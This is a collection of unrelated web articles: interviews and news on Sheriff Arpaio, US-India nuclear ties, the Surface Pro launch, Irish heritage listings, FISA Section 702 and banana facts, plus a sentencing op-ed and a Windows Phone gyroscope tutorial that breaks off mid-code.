So, he’s going—he may use—go ahead.  JUAN GONZALEZ: —if I could, Steve. Randy, one of the—one of the parts of the Justice Department report talks about how Sheriff Arpaio targeted his political enemies to use his law enforcement powers against, and you were specifically mentioned in the report. Could you talk about what happened to you and your reaction to the Justice Department report?  RANDY PARRAZ: Yes. Well, thank you. I was part of a group in 2008 called Maricopa Citizens for Safety and Accountability. It was a grassroots effort by citizens who wanted to come before the board of supervisors, because they’re the ones that have the budgetary control over Sheriff Arpaio and the Maricopa County Sheriff’s Office. So we were there to raise issues about, you know, uninvestigated sex crimes back then. A report had just came out from the East Valley Tribune, where they were talking about over $40 million in legal lawsuits that he was responsible for, delayed emergency response times, racial profiling. And as we were doing that, we kept going back, month after month.  And finally, in September of 2008, I was asked to leave a meeting. I was outside in front of the public—board of supervisors building, outside, and I was approached by numerous deputies. They came up on me. And after a short period of time, within a short conversation, I was ordered to be arrested by the Chief Deputy Trombi and from Sheriff Arpaio. I was arrested, booked, handcuffed. Once I got down there, they leg-shackled me, walked me to my cell, kept me in solitary confinement all day, took me to the judge, charged me with criminal trespass and in the afternoon charged me again with disorderly conduct. Eleven months later, both those charges were thrown out of court. They had so limited evidence to even make those cases—make the cases that I didn’t have to even put up a defense. So these were some of the things.  In addition to my arrest, shortly thereafter, at a subsequent meeting, other people were arrested for clapping inside. While their names were being called to come forward, the sheriff deputies arrested individuals there. Four other women were arrested on the 10th floor of the board of supervisors building when they were sitting in a chair waiting to speak to the chairman, Andrew Kunasek. The sheriff deputies intervened there and then again arrested those women. And all of these charges were dismissed. None of these charges were proved. And not only that, I think those cases of some of these arrests resulted in close to $500,000 in settlements, because people’s constitutional rights were violated.  So, this is a sheriff right now who is in denial. This is a sheriff who is out of control, who has violated the First Amendment of the Constitution, of our right to freedom of speech, our right to assemble, and our right to petition our government. It’s a sad day—it’s a very sad day here in Maricopa County, where this sheriff has been allowed to go untouched by any other power and authority. And so, we’re very grateful that, finally, the Department of Justice has come in, after a very thorough and extensive and, I would say, non-political investigation. These are professionals who have been there. These are lawyers. These are investigative authorities, who came in over a three-year period, after over 400 interviews, reached some serious conclusion about what’s taken place here in Maricopa County.  AMY GOODMAN: Randy, could you talk about the more than 400 sex crimes cases that Arpaio refused to investigate?  RANDY PARRAZ: Yeah, I just want to point out, when this was first brought out back in 2008 by a series called “Reasonable Doubt” by the East Valley Tribune reporters, Sheriff Arpaio stated that this was a bunch of trash. He referred to it as trash, this news coverage. That series is now a Pulitzer Prize-winning series. It was a series, when these things were investigated—people reported it, cases were opened, but there was no follow-up. These were victims as young as two years old, to young women and girls, were violated, were raped or molested, and those cases were not followed up. In some instances, they even had the name of the perpetrator. They just—cases were just not—were actually said to be cleared or were closed. And so, this was done.  And then this is the type of—just of lack of accountability, lack of concern Sheriff Arpaio and his deputies have to those instances. One of the reasons we believe is that most of those victims were either undocumented or were for children of undocumented parents, so it was not a priority on there, in terms of the sheriff’s office. So, again, this is about misplaced priorities. During this whole process the last three years, where the whole issue of immigration became politicized, the special victims unit was actually reduced so that he could have a—he could enlarge and expand his smuggling unit, his human smuggling unit. So, again, we believe right now that those values are not consistent with most Arizonans citizens believe, with most citizens here in Maricopa believe. And we believe this is the beginning of the end of Sheriff Arpaio, and he will not last ’til the next election. He will be forced to resign.  JUAN GONZALEZ: Well, Randy, I wanted to ask you about that. Why, given this long history and the notoriety of this sheriff, why has he continued to remain in office?  RANDY PARRAZ: Well, he’s had—we call it a triangle of corruption. Prior to us getting involved in 2008, he had the board of supervisors—he had four of the five votes in his pocket. They were all—they would blanket check, give him whatever he wanted. His budget ballooned over $300 million, the largest budget in Maricopa County. In addition to that, the county attorney at the time, Andrew Thomas, was also complicit and worked in cooperation with Sheriff Arpaio, and he’s soon to be disbarred this year based on his practices. So there’s no checks and balances on the system, in terms of those who prosecute the crimes and those who enforce the law and those who hold him accountable when it comes to budgetary authority, which is the board of supervisors.  Even now, we’re having difficulty at the board of supervisors to get this issue, which is the Department of Justice report, and the uninvestigated sex crimes on the formal agenda. They’re even trying to stop us from doing that, because they don’t want to have this type of public airing of these types of opinions and views, because they were part of the problem. They sat there and stayed quiet while this was all going on. They sat there and stayed quiet when the most egregious cases of racial profiling taking place in recent memory and throughout the country was taking place on Latinos, because they were—because of either their language or how they looked, and that took place under their watch, and they continued to fund those practices.  JUAN GONZALEZ: And Randy, also there were—several of his top deputies were implicated in wrongdoing and forced to resign recently. Could you talk about that, as well?  RANDY PARRAZ: Absolutely. Chief Deputy David Hendershott, this was his choice. This was his person to enforce and carry out all of Sheriff Arpaio’s policies. He was the one that helped set up the culture of intimidation, the culture of corruption, the abuse of power. For Sheriff Arpaio to be able to just fire him and stay in place, there’s no way these types of recommendations can go anywhere. This man needs to be removed. There is a wall of distrust. He has helped create that culture. He’s been there 20 years. So, for us to have serious traction and serious movement to really see serious change take place, he needs to leave. He needs to move on, for the sake and betterment of the Maricopa County. You have a situation now where the top elected law enforcement officer has violated the law, in terms—and has done so knowingly and intentionally. He needs to move on.  AMY GOODMAN: I wanted to go back to Steve Lemons to talk about, well, a couple things. One is the past behavior of how Arpaio held prisoners, the pink underwear, serving them green meat, instead of putting immigrants in buses that he detained, marching them in striped uniforms down the streets of Phoenix. Can you talk about this, the tent cities?  STEPHEN LEMONS: Well, yeah. I mean, Arpaio is not known for his love of civil liberties. And the culture of cruelty that he’s maintained over—you know, now going on two decades has been part and parcel why he’s been re-elected so many times. Unfortunately, that kind of sadism that you’re describing has been popular. He’s bragged about feeding his inmates for pennies on the dollar. You know, there have been notorious deaths in the jail, such as Scott Norberg, who was killed there. And the settlement payouts for that particular case was over $8 million. Overall, I think that payouts—you know, payouts, civil payouts, are up to $50 million on wrongful death cases. Lawyers make a bank off of Joe Arpaio’s mistreatment of his prisoners. But, you know, that is—  AMY GOODMAN: And then you have the connections to the federal government. I mean, Janet Napolitano not making a major deal of Arpaio, wanting his support when she ran for governor of Arizona, now, significantly, she’s head of Homeland Security, has been working with Arpaio back in her home state of Arizona.  STEPHEN LEMONS: It’s a very good point. They were always allies, to some degree, even though they’re in different parties. Napolitano is a conservative Democrat and, you know, partnered with Arpaio to some to degree. Arpaio endorsed her run for governor the first time around. And they’ve been, you know, tacit allies. The Republican Party even accused Arpaio of getting Napolitano elected to governor, because he did a campaign commercial on her behalf, first time around. She helped him get the 287(g) agreement. She was instrumental in that. As far as the—you know, in finally removing the 287(g) from the jails, I believe that ICE was—I don’t know that they were necessarily in the loop as far as what the DOJ’s Civil Rights Division was going to do. They—  AMY GOODMAN: We only have 20 seconds. Juan?  JUAN GONZALEZ: Yeah, no, I just would like to ask Randy Parraz about this latest death of the former soldier who was—who died in jail after being tasered.  AMY GOODMAN: And we just have 10 seconds.  RANDY PARRAZ: Yeah, I think it’s shameful. I think it shows, again, people are literally dying because of the culture of intimidation, harassment and discrimination taking place in those jails. We need a change it now. I think what’s even more shameful is this culture of silence by Republican leaders, from the governor on down, who refuse to take a stand, and basically saying Latinos do not matter in the state of Arizona.  AMY GOODMAN: Randy Parraz, we want to thank you for being with us, president of Citizens for a Better Arizona. Steve Lemons with the Phoenix New Times, thanks so much.
-NEW DELHI (Reuters) - In a glow of bonhomie, U.S. President Barack Obama and Indian Prime Minister Narendra Modi unveiled plans to unlock billions of dollars in nuclear trade and to deepen defence ties, steps they hope will establish an enduring strategic partnership.  The two countries reached an understanding on two issues that, despite a groundbreaking 2006 agreement, had stopped U.S. companies from setting up reactors in India and had become one of the major irritants in bilateral relations.  “We are committed to moving towards full implementation,” Obama told a joint news conference with Modi. “This is an important step that shows how we can work together to elevate our relationship.”  The new deal resolved differences over the liability of suppliers to India in the event of a nuclear accident and U.S. demands on tracking the whereabouts of material supplied to the country, U.S. ambassador to India Richard Verma told reporters.  “Ultimately it’s up to the companies to go forward, but the two governments came to an understanding,” he added.  Signalling warmth and determination to take ties to a higher level, Modi broke with protocol to meet and bear-hug Obama as he landed in New Delhi, then referred to him as Barack. It was a remarkable spectacle, given that a year ago Modi was persona non grata in Washington and was denied a visa to the United States.  Between a working lunch that included kebabs made with lotus stem, figs and spices and an evening banquet where Obama spoke a smattering of Hindi, the two leaders got down to talks.  They emerged with a 10-year framework for defence ties and deals on cooperation that included the joint production of drone aircraft and equipment for Lockheed Martin Corp’s C-130 military transport plane.  Other deals ranged from an Obama-Modi hotline — India’s first at a leadership level — to financing initiatives aimed at helping India use renewable energy to lower carbon intensity.  But Modi cautioned that work was still needed to create a solid partnership between the world’s two largest democracies.  “We have to convert a good start into lasting progress. This requires translating our vision into sustained action and concrete achievements,” he said, standing next to Obama.  On Monday, Obama will be the first U.S. president to attend India’s Republic Day parade, an annual show of military might long associated with the anti-Americanism of the Cold War. He will also host a radio show with Modi.  His presence at the parade at Modi’s personal invitation marks the latest upturn in a roller-coaster bilateral relationship that just a year ago was in tatters.  Up to 40,000 security personnel have been deployed for the visit and 15,000 new closed-circuit surveillance cameras have been installed in the capital, according to media reports.  NEW VITALITY  The United States views India as a vast market and potential counterweight in Asia to a more assertive China, but has frequently been frustrated with the slow pace of New Delhi’s economic reforms and unwillingness to side with Washington in international affairs.  Elected last May, Modi has injected a new vitality into the economy and foreign relations and, to Washington’s delight, has begun pushing back against China across Asia.  In a veiled reference to China, the leaders reiterated the “importance of safeguarding maritime security and ensuring freedom of navigation and overflight throughout the region, especially in the South China Sea”. They also called for the peaceful resolution of territorial conflicts.  Obama will depart slightly early from India to travel to Saudi Arabia following the death of King Abdullah, skipping a planned visit to the Taj Mahal.  Like Obama, Modi rose from modest origins to break into a political elite dominated by powerful families. Aides say the two men bonded in Washington in September when Obama took Modi to the memorial of Martin Luther King, whose rights struggle was inspired by India’s Mahatma Gandhi.  On Sunday, the two leaders talked outside over tea in an elegant garden. Modi, who sold tea on a railway platform as a child, poured a cup for Obama.  The “chemistry” they describe is striking because Modi’s politics is considerably to the right of Obama’s and because he was banned from visiting the United States for nearly a decade after deadly Hindu-Muslim riots in a state he governed.  U.S. President Barack Obama hugs India's Prime Minister Narendra Modi as he arrives at Air Force Station Palam in New Delhi January 25, 2015. REUTERS/Jim Bourg  Obama, the first sitting U.S. president to visit India twice, also enjoyed a close friendship with Modi’s predecessor Manmohan Singh, who staked his premiership on the controversial nuclear deal that made India the sixth “legitimate” atomic power and marked a high point in Indo-U.S. relations.  The deal failed to deliver on a promise of business for U.S. companies because of India’s reluctance to shield suppliers from liability, a deviation from international norms that reflects the memory of the Bhopal industrial disaster.
-As expected, Microsoft’s follow-up to the Surface Pro 4 tablet is just called… the Surface Pro.  The new model looks nearly identical to its predecessor, but instead of 6th-gen Intel Core Skylake processors, the new model is powered by 7th-gen Intel Core Kaby Lake chips.  Microsoft unveiled the new Surface Pro at an event in Shanghai today.  The new model also supports an updated Surface Pen with 4096 levels of pressure sensitivity, tilt detection, and reduced latency… but the new pen is sold separately, rather than bundled with the tablet.  The new Surface Pro also has an improved kickstand, which supports wider angles, including a “studio mode” which has the tablet lying at a slight angle designed to make writing or drawing more comfortable.  It’s basically a smaller version of the kickstand used in the Surface Studio, Microsoft’s premium all-in-one desktop aimed at artists, and designers and Microsoft showed off the Surface Pro working with Surface Studio accessories including the Surface Dial.  Microsoft says the new Surface Pro supports up to 13.5 hours of battery life. Oh, and the model with a Core i5 processor is fanless: previously you had to opt for a Core M3 chip if you wanted a fanless Surface Pro.  If you’re wondering why models with a Core i7 chip aren’t fanless, it’s not just the CPU that gets an upgrade: that model also has Intel Iris Plus graphics.  The company says the 12.3 inch tablet features and “enhanced color” PixelSense display, but it has the same 2736 x 1824 resolution as the Surface Pro 4.  Another thing that hasn’t changed? The ports: there’s a USB Type-A port, a mini DisplayPort, and a 3.5mm headphone jack, but no USB Type-C port.  The company also introduced new Surface Pro Type Cover accessories which will work with the 5th-gen Surface Pro tablet, but also with the Surface Pro 3 or Surface Pro 4. The key difference between this year the company’s Alcantara fabric-covered Type Cover is available in 4 colors (grey, teal, gold, and burgandy).  The new 5th-gen Surface Pro will be available with a choice of Core M3-7Y30, Core i5-7300U, and Core i7-7660U processors, 128GB to 1TB of solid state storage, and 4GB to 16GB of LPDDR3-1866 RAM. There’s also optional support for 4G LTE.  Microsoft’s new tablet measures 11.5″ x 7.9″ x 0.33″ and weighs about 1.7 pounds.  The Surface Pro is launching on June 15th in 26 countries including the US, Canada, the UK, and China. Pre-orders open today for $799 and up.  And when I say up, I mean way up for the higher-end models: you’ll have to shell out $2699 to get a new Surface Pro with a Core i7 CPU, 16GB of RAM, and 1TB of storage. And don’t forget, the keyboard is sold separately. At least the pen is included.  At today’s launch event, Microsoft also announced that the Surface Studio is coming to China, as is the recently announced Surface Laptop. And the HoloLens Development Edition is also now available in China.
-Marshall Lytle's '40s Epiphone B-5  there's one thing we have in abundance around here, it's reverence for the tools of rock 'n' roll. Guitars, drums, basses; we think all that stuff is great. Every once in a while, though, we come across an instrument that's so historic, so iconic, and so badass, that it truly blows us away. This is one of those pieces. It's a late '40s Epiphone B-5 upright bass that belonged to Marshall Lytle. Marshall was the bass player for Bill Haley and His Comets during their 1950s heyday, and he used this bass to record such classics as "Rock Around the Clock", "Shake", "Rattle and Roll", and "Rock the Joint". Think about that for a second. Those three songs were the beginning of a cultural earthquake whose aftershocks are still rumbling in the 21st century. The lexicon of early rock bass playing was written by Marshall on this very instrument. It's currently on display at the Hard Rock Cafe in Orlando, Florida.
-HOLY WELLS, bridges, milestones, vernacular buildings, lime kilns and other industrial sites that post-date 1700 will be “left without any protection” following moves to “delist” them, the Institute of Archaeologists of Ireland has claimed.  In what it described as a “very worrying proposal”, the Department of Arts, Heritage and the Gaeltacht is seeking to exclude all post-1700 archaeological and historical structures and sites from the national Record of Monuments and Places (RMP).  Finola O’Carroll, the institute’s chairwoman, said this arose from “a perverse Civil Service sense of fair play” because of discrepancies between counties, with Cork having a “very comprehensive record” of monuments and others having little or none at all.  “Instead of seeking to apply the Cork standard across the board, they are instead opposing to level out the playing field by delisting the lot,” she said. “We are very concerned because this would not be regarded as best practice [in archaeology].”  The department said its review aimed for “a standard approach nationally that will ensure that all elements of the built heritage continue to be adequately protected” and there was “no question of any change to current arrangements” before it was completed.  However, the institute’s board believes that any delisting post-1700 would be “to the detriment of the country’s archaeological resource” and is now seeking the views of members with a view to putting “creative solutions” to Minister for Heritage Jimmy Deenihan.  The Archaeological Survey of Ireland (ASI) has been recording archaeological monuments for several decades, and “significant numbers of post-1700 monuments have been included in the RMPs for Cork, Galway and Dublin”, according to the institute.  It says the ASI is obliged under a 2005 policy document to ensure consistency. “Primarily due to limited resources as well as a backlog in processing the previously collected datasets, the ASI is proposing that any post-1700 monuments . . . should be delisted.” But it maintains that this cut-off date “has no basis in legislation” and points to a 1999 statement by Dóchas, the heritage service, that “any material remains which can contribute to understanding past societies may be considered to have an element of archaeological significance.”  By contrast to the ASI’s proposed delisting of post-1700 monuments, the institute notes that the Northern Ireland Environment Agency already lists more than 16,000 features and a second survey of historic buildings there is currently under way. “Projects such as the Industrial Heritage Survey of Fingalled by Mary McMahon are systematically examining the documentary and cartographic sources and have uncovered hundreds of new sites . . . It is ridiculous to believe these sites would have no legal protection.”
-The Chicago Blackhawks have a 3-0 series lead on the Minnesota Wild in the Western Conference semifinals, thanks in large part to right wing Patrick Kane. Kane has dominated the Wild, scoring five goals in just three games, including the lone tally in Chicago's 1-0 victory in Game 3.  Figuratively, one might say Kane currently "owns" the Wild. But an intrepid Wikipedia editor decided to formalize Kane's ownership of the Wild franchise.  To be clear, Patrick Kane does not actually own the Wild. A man named Craig Leipold owns the Wild. But Leipold has not scored five goals in this series, or ever.  Looks like Patrick Kane is the owner of the Wild according to Wikipedia! @WaddleandSilvy @TWaddle87 pic.twitter.com/uOTjjHzShL — Danny Turano (@Turano007) May 7, 2015  • 2015 NHL playoffs: Complete schedule and results  The only question is whether Kane would be the only current NHL owner to rock a mullet.  - Stanley Kay
-When New York University freshmen start class Tuesday, among their course selections will be, “Guitar Heroes (and Heroines): Music, Video Games and the Nature of Human Cognition.” It’s a freshman honors seminar about how video games help us learn.  Dr. Gary Marcus, renowned expert on childhood learning and the instructor of the course, told the New York Post, “Video games are an understudied area. People dismiss them unfairly, but Guitar Hero is a good tool for teaching and I’m interested in the nature of learning.” No word on what it is that Guitar Hero teaches.  Regardless of any merits the course may have, some parents are scandalized. “I just wrote a big check here,” Glen Jackson, father of an incoming freshman, grumbled to the Post. “I’m not paying for him to study video games.” Well, there’s always a one-in-a-million shot that Guitar Hero expertise could lead to gainful employment: a North Carolina 16 year-old dropped out of school last year to play the game professionally.  Among the questions the course will consider is, “why are human beings so passionate about music and so easily sucked in by video games?” The goals of the Freshman Honors Seminars Program are “to introduce [students] to important subjects [and] to challenge them intellectually through rigorous standards of analysis and oral and written argumentation.”  For the more traditional honors freshman, there are also seminars on Galileo, Hobbes and de Tocqueville. Other NYU course choices this fall include “The Poetics of Television” and an undergraduate science class, “Can Exercise Change Your Brain?” which begins each class session with an hour-long aerobic workout.
-Bananas have been part of our diet for thousands of years, and written references date back to around 500BC. Today, they are the most popular fruit in the world: in fact, over 100 billion bananas are eaten around the world every year, and around 51% of these are eaten at breakfast time.  Some horticulturists believe that bananas were the first fruit on earth. Their origin is placed in Southeast Asia, in the jungles of Malaysis. Indonesia or the Philippines. where many varieties of wild bananas still grow today. Africans are credited to have given the present name, since the word banana would be derived from the Arab for 'finger'. They started to be traded internationally by the end of the fourteenth century. The development of railroads and technological advances in refrigerated maritime transport subsequently enable bananas to become the most traded fruit in the world.  Bananas are grown in more than 150 countries, and 105 million tonnes of fruit are produced each year. Bananas which are grown for local consumption are generally grown in traditional, extensive systems. The Dessert banana, like the Cavendish variety, are of huge economic importance to many countries in the Global South, and thye account for 43 million tonnes. and the Plantain account for 45 million tonnes. Locally consumed bananas are a staple food in many tropical countries and play a major role in terms of food security.  People often assume that the banana fruit grows on trees, however, the banana is a high herb which can grow up to 15 metres. There are over 1000 different varieties of bananas growing around the world, subdivided into 50 groups. Some are sweet, like the Cavendish variety, which is the most common and most widely exported. It is named after Musa Cavendishii and was first grown at Chatsworth House in the UK in 1830. This variety of banana is currently under threat from a disease called Sigatoka, which has reduced banana yields by 40% every year.  Banana facts  On average each person in the UK eats 10kg bananas a year – about 100 bananas!  In Britain, we eat over five billion bananas every year  The scientific name for banana is 'musa sapientum' which translates as 'fruit of the wise man'  The word banana comes from the Arabic word "banan", meaning finger  The banana plant is not a tree, it is the world's largest herb  The "trunk" of a banana plant is not made of wood, it is made of tightly overlapping leaves  Bananas could help you to feel happier, as they contain tryptophan, a type of protein that the body converts into serotonin, known to promote relaxation and improve mood  The inside of a banana skin can be used to calm an itchy mosquito bite - many people find that rubbing the bite with the skin helps to reduce irritation  A medium-sized banana contains only 95 calories, and provides a quick-but-sustained energy boost in a natural, nutritious and easily digestible form with no fat, cholesterol or sodium  British Banana supplier, Fyffes, received its first consignment of bananas 124 years ago, in September 1888  A stem of bananas consists of “hands”, which consist of 10 to 20 bananas. When a hand is split, the bananas become “clusters”, which generally consist of between three to eight bananas  The inside of a banana skin can be used to polish shoes!  Recent news:  There are only a few places where organic bananas can be grown  Banana Link featured in the fight to save the Cavendish banana
-Well, one of the new wrinkles was some variations on the bubble screen concept which has been one of the staples of Chip Kelly's offense. He showed a couple of new wrinkles on this.  Fresh off a bye week, I am sure I was not the only one thinking Chip might use the extra week to break out some new wrinkles on offense. Despite that, what we saw yesterday was much of the same on offense with some interesting personnel changes as highlighted on the last post where we used Desean Jackson on a wheel route .  Check out this odd-looking trip-like formation. I am sure there is a name for it, and I am sure one of my commenters will let me know. On this formation, the receivers will run a bubble screen with Riley the intended reciever with 2 big TEs in Celek and Ertz leading the way:  Not surprisingly, this bubble screen has a read-option component to it. Here Foles is reading the DE:  McCoy gets a nice hole and runs for a nice gain. We actually ran this same play and formation 2 times in a row in the 1st quarter.  We went back to it in the 2nd quarter. Celek and Ertz blocking, but this time Desean Jackson instead of Cooper:  based on the numbers we get, there is no read and Foles quickly gets it to Desean. Might to Chip's delight, you can already see the sidewalk forming for Desean between the numbers and the hash:  Good blocking and an explosive play for Desean Jackson.  ***  Here's another look, that Moose Johnston pointed out. We've seen Lane Johnson lined up really wide in our double stack formation. This time, we line him up in the slot. This is a creative playcall on 4th and 2. The Eagles spread 4 players to the top of the screen, helping to lighten the box:  Again, the read-option is built-in...and check out the 2 defenders in red focused on Foles:  The result is a light box, good blocking and a 4th down conversion for McCoy:  Here it is again on the bottom of the screen. Desean motioning down, Johnson in the slot.  The read-option and it appears Nick is reading Daryl Washington who drifts out of the box. Since he is defending the bubble, Lesean has a light box and Nick hands off:  One more time, we see it here with Cooper at the bottom of the screen. This time the DB very aggressively sprints to cut off the bubble option.  Without that option, the only other play Nick has is to keep and run. Unfortunately, Nick doesn't get much room to run (queue the Mike Vick chants and hwo Chip Kelly needs a mobile QB).
-NEW DELHI — As expected, Russia and India, longtime allies, signed a raft of agreements at their leaders’ annual summit meeting on Thursday, expanding their usual set of projects to an ambitious agenda that includes the joint manufacture of military helicopters and production of nuclear reactors.  But the most intriguing event of the day occurred across town in a private dining room at a luxury hotel, where Sergei Aksyonov — the barrel-chested prime minister of Crimea, the Ukrainian territory annexed by Russia — signed a memorandum of understanding with a group of Indian businessmen who call themselves the Indo-Crimean Partnership.  The symbolic show of support put India in the middle of one of the most bitter disputes between Moscow and the West.  Mr. Aksyonov organized a paramilitary force on the Crimean Peninsula early this year as pro-Western protests rose in Kiev, the Ukrainian capital, and he was one of the first people to be singled out by the United States for sanctions. He traveled to India on a plane with Russian officials attending the meeting, and was flanked by Russian diplomats, whom he credited with arranging the event. Interfax, the Russian news agency, said it was Mr. Aksyonov’s “first international visit.”
-Anyone in England and Wales with a dog out of control can now be jailed for six months. If the dog causes injury, the maximum term is to be two years. I have no sympathy for such people. Keeping these beasts is weird, and those who do it probably need treatment. But the Defra minister, Lord Taylor of Holbeach, complained in May that fewer than 20 people were in jail for dangerous dog offences. The sentencing council has duly told courts to raise the threshold to two years, "to send a message".  The same sentiment a year ago motivated magistrates to play to the gallery by jailing 1,292 people for stealing bottles of water or trainers or sending idiot incitements during the dispersed rampage dubbed "urban riots". Hysterical ministers raced home from holiday to tell judges to send messages. Judges duly ruined the lives of hundreds of young people, at great public expense and to no advantage to their victims. I have no sympathy for these people either, but again the politicised response to crime was disproportionate.  A month before, a London court jailed a stoned Charlie Gilmour after he swung on a union flag from the Cenotaph and tossed a bin at a police car, thus causing widespread outrage in the offices of the Daily Telegraph and Daily Mail. The judge sent him down for 18 months to send a message carefully designed to wreck his university career. Yet again we need have no sympathy for Gilmour. But there is no such thing as a rap over the knuckles in jail. Judges know that any term in prison is a sentence for life.  How can British politicians, whose statements clearly seek to influence pliable judges, criticise other sovereign states for doing likewise? Last week the Foreign Office professed itself "deeply concerned" at the fate of Russia's Pussy Riot three, jailed for two years for "hooliganism" in Moscow's Christ the Saviour Cathedral. They had staged what, by all accounts, was an obscene publicity stunt, videoing an anti-Putin song defamatory of the Virgin Mary in front of pious worshippers.  Good for free speech, we might all say. That the act outraged public decency is an understatement. In a Levada poll of Russian public opinion, just 5% thought the girls should go unpunished and 65% wanted them in prison, 29% with hard labour. Artists round the globe may plead free speech, but to treat the Pussy Riot gesture as a glorious stand for artistic liberty is like praising Johnny Rotten, who did similar things, as the Voltaire of our day. There can be disproportionate apologias as well as disproportionate sentences.  Artists can look after their own. For the British and US governments to get on high horses about Russian sentencing is hypocrisy. America and Britain damned the "disproportionate" Pussy Riot terms. In America's case this was from a nation that jails drug offenders for 20, 30 or 40 years, holds terrorism "suspects" incommunicado indefinitely and imprisons for life even trivial "three strikes" offenders. Last week alone a US military court declared that reporting the Guantánamo Bay trial of Khalid Sheikh Mohammed would be censored. Any mention of his torture in prison was banned as "reasonably expected to damage national security". This has no apparent connection to proportionate punishment or freedom of speech.  The British security establishment during the Tony Blair-Gordon Brown regime tried to censor history books for possible "terrorist" incitement. It introduced control orders, restricted courts and long-period detention without trial. It made unlicensed demonstrating an offence and has since sought prosecution of Twitter and Facebook abuse. British ministers and courts are craven to what passes for public opinion. The idea that, whenever a crime or antisocial action hits the headlines, "the courts must send a message" is politicised justice. At times, especially in tragic cases involving children, it gets near to a lynch mob. Again the only message sent is to the media. If Britain's draconian sentencing were effective, British jails would not be bursting at the seams.  There is of course a difference between the liberties enjoyed in most western democracies and the cruder jurisprudence of modern Russia, China and much of the Muslim world. It would be silly to pretend otherwise. But the difference is not so great as to merit the barrage of megaphone comment from west to east. Pussy Riot may have attacked no one physically, but no society, certainly not Britain, legislates on the basis that "words can never hurt". If a rock group invaded Westminster Abbey and gravely insulted a religious or ethnic minority before the high altar, we all know that ministers would howl for "exemplary punishment" and judges would oblige.  Commenting on the social mores of other countries may offer an offshore outlet for the righteous indignation of politicians and editorialists. It has no noticeable effect. Western comments on the treatment of women in Muslim states, dissidents in China or drug offenders in south-east Asia are dismissed as imperial interference. But then how would we feel if Moscow or Singapore or Tehran condemned the treatment of Cenotaph protesters?  British courts jail at the drop of a headline. One of the few cabinet ministers in recent years to show a sincere desire to relate punishment to crime and imprisonment to consequence is the justice secretary, Kenneth Clarke. He is now being bad-mouthed out of his job by Downing Street's dark arts, frightened not of Clarke but of the rightwing press. Clarke is, with Iain Duncan Smith, a rare minister intellectually engaged with his job and eager courageously to see it through. Why are the Lib Dems not defending him? For David Cameron to sack Clarke would indeed send a message. Of the worst sort.
-The clock is ticking for a controversial surveillance provision, which is is set to expire at midnight at the end of the year.  But the Trump administration has signaled that it will support its clean reauthorization. Passing a clean version of the Foreign Intelligence Surveillance Act, or FISA, is "necessary to protect the security of the nation," according to a White House official speaking to Reuters.  Already, bipartisan lawmakers in Congress are gearing up for a fight -- ready to oppose the law's reauthorization of the provision without some level of significant reform.  FISA, initially signed in 1978 and amended in 2008 following a vast expansion of domestic surveillance under the Bush administration, was back in the spotlight in 2013 after details of National Security Agency surveillance programs it authorized were leaked by Edward Snowden.  One particular element of the law, dubbed Section 702, has faced intense criticism from privacy advocates and lawmakers alike.  The provision permitted surveillance operations such as the PRISM program, which collected private data from customers of Apple, Google, Facebook, Microsoft and others. The provision also permitted "upstream" collection from the backbone fiber connections of the internet.  And though FISA is designed to target foreign nationals, an unknown amount of Americans' data is also collected in the process.  That's one of the main reasons why numerous Democratic and Republican legislators have argued reforms to Section 702 are necessary to ensure that Americans' constitutionally-guaranteed privacy rights are not violated.  But a key question remains unanswered: exactly how many Americans were caught up in the NSA's surveillance dragnet as a result of surveillance authorized under Section 702?  Since the Snowden disclosures during Obama's second term, nobody has been willing to put a number on it.  This week, Dan Coats, the administration's pick for director of national intelligence, who called the provision the "crown jewels" of the intelligence agency's surveillance programs, said that the program is "designed to go after foreign bad guys."  But the nominee fell short of promising to disclose how many Americans were caught up in the domestic surveillance dragnet.  That isn't exactly sitting well with a number of privacy-minded lawmakers, who largely stand in a minority in Congress.  Rep. John Conyers (D-MI), who said Monday at a House Judiciary Committee hearing that the idea of "using this authority to collect large amounts of information about US citizens without a warrant or individualized suspicious... is, in a word, wrong."  Other lawmakers have too called for changes to surveillance laws.  Reps. Thomas Massie and Ted Lieu have both called for reforms. Intelligence committee member Sen. Ron Wyden has been a strong advocate of reforms to Section 702. And, Zoe Lofgren, a lawmaker with a constituency in the heart of Silicon Valley, has previously warned of the dangers to domestic surveillance under Section 702, and co-sponsored a bill to change the law.  House lawmakers made it clear Monday that knowing the number of Americans caught up in Section 702 searches is paramount, and they likely aren't going to waver any time soon.  And whatever that number is -- whether it's a handful or a few million -- will play a central role in determining if the surveillance statute gets reauthorized.  In any case, there will be a small army of lawmakers ready to challenge it.
-This article is Day #5 in a series called the 31 Days of Mango.  Today, we are going to talk about a new sensor available to us, the Gyroscope. This sensor is only available in phones that were released after the Mango launch, and even then, not all phones will have a Gyroscope. However, it’s a powerful tool that we should take advantage of when its available, and this article will show you how.  If you have a device that contains a gyroscope sensor, you can download the application from this article from the Windows Phone Marketplace.  What is a Gyroscope?  According to Wikipedia, “a gyroscope is a device for measuring or maintaining orientation.” Many of you probably have seen an example of a gyroscope before, but here’s an illustration of a physical gyroscope (courtesy of Wikipedia):  As you can see, it has the ability to spin on three axes, the X, Y, and Z axis (much like the Accelerometer, which we covered in Day #11 of the 31 Days of Windows Phone). While the Accelerometer measures acceleration, the Gyroscope measures rotational velocity.  Having said that, however, there is not a device in your phone that looks like the one pictured above. Instead, mobile phones use a MEMS gyroscope, which often use vibrations or resonance to determine their data.  Using the Gyroscope In Your App  The Gyroscope sensor is as easy to use as the Accelerometer, but we don’t yet have the benefit of the additional tools in the emulator. The data you receive measures the rotational velocity of the device in radians per second.  This means that you can more accurately and smoothly measure the current orientation of the device. This will become especially handy when you build applications that perform augmented reality. In most cases, however, you’re probably not going to be accessing the Gyroscope by itself. There are a couple of reasons for this:  Not all Windows Phones will have a Gyroscope. In fact, only phones that come out after the Mango release will be capable of having a Gyroscope, and it is still an optional piece of hardware.  Microsoft has created a Motion class that combines the data from the Accelerometer, the Compass, and the Gyroscope into one class that we can use more effectively (we will cover this in tomorrow’s article). If you’re interested in the attitude of the device (pitch, yaw, roll), you’re going to want to focus on the Motion class.  However, in the case that you do need to use the gyroscope independent of the Motion class, it should always be wrapped by a check to determine that the user’s device supports the gyroscope sensor. To do this, we need two specific pieces of code. This first is a using statement for the Microsoft.Phone.Sensors namespace. The second is an IF statement that checks the Gyroscope.IsSupported value. In this simple state, your code-behind file would look like this:  using System;  using Microsoft.Phone.Controls;  using Microsoft.Devices.Sensors;  using Microsoft.Xna.Framework; System;Microsoft.Phone.Controls;Microsoft.Devices.Sensors;Microsoft.Xna.Framework; namespace Day5_Gyroscope  {  public partial class MainPage : PhoneApplicationPage  {  public MainPage()  {  InitializeComponent(); if 